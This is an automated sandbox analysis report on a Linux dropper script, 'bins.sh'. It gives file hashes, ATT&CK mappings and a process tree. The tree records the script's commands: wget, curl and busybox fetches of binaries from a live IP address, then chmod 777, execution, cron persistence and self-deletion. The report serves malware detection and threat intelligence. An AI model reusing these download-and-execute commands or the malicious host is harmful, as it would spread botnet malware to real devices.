ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423

Analysis

max time kernel
149s
max time network
188s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25-11-2024 23:59

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General

Target

bins.sh
Size

10KB
MD5

81a496ac5416f01f492d7eb50039a21c
SHA1

ecfdd7164357b662411ff449bec53c5a7aebc3cf
SHA256

ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423
SHA512

45b404d7ae5e72ba3958dd00940279dfbf8241c3cf0b9f85a3c8735ebec4fb038a3159df3a80636388025d7149d216ca1a9587dd99c5ecde8754380b8a3ee4be
SSDEEP

96:UmC6SBd7G2JT0a6MHjOszPlaqL7Z7p7Fa2F8mEwFC6SBd7wJfbozzPlaqLWy7Z7Z:Un02VUmF1Fa2ypF1Fa2l

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

696 chmod
736 chmod
756 chmod
780 chmod

pid	process
696	chmod
736	chmod
756	chmod
780	chmod

Executes dropped EXE 4 IoCs

Processes:

LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqqJKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgyd5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I

ioc	pid	process
/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	698	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	737	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy	757	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
/tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I	781	d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I

Renames itself 1 IoCs

Processes:

LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

pid process

699 LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.ffl1pk crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curlcurlcurl

description ioc process

File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl

pid	process
699	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.ffl1pk	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2crontabcrontabcurlcurlcurl

description	ioc	process
File opened for reading	/proc/6/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/604/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/665/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/804/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/819/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/808/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/266/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/595/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/722/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/759/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/734/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/744/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/779/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/18/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/42/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/101/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/152/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/718/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/768/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/7/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/17/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/724/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/725/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/813/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/3/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/8/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/43/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/719/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/795/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/780/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/750/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/789/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/793/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/23/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/171/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/267/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/298/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/598/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/830/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/603/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/705/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/713/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/783/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/721/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/760/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/26/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/717/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/22/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/27/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/739/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/778/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/826/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/712/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/714/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/79/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/654/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/660/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
File opened for reading	/proc/16/cmdline	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxbusyboxbusybox

description	ioc	process
File opened for modification	/tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I	busybox
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	wget
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	curl
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	busybox
File opened for modification	/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	busybox
File opened for modification	/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:659
- /usr/bin/wget
  wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Writes file to tmp directory
  PID:664
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  ./LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:698
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:700
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:701
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:704
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:706
- /bin/rm
  rm LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:721
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod 777 gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  ./gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  ./JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  PID:759
- /usr/bin/wget
  wget http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:761
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  ./d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  PID:784
- /usr/bin/wget
  wget http://216.126.231.240/bins/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
  2⤵
  PID:785

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.ffl1pk

Filesize
210B

MD5
c93c873129c0f8b9e3100457573141db

SHA1
650b9dabba3205e4b0db55890689abf2b1b0a959

SHA256
af226a8e8ba0b0a64ec87b8087014f5c27aab51afb0932b83ab74ffc467752f0

SHA512
ff6ab2365a8a2df8ea7a96a9247c50bb8c6706d2c1c592abf94ada99aedda0573f27aff3b1f04901890fb922d61f8a50aa87583e52817f1844ffe81f02a2acc5

Download Submit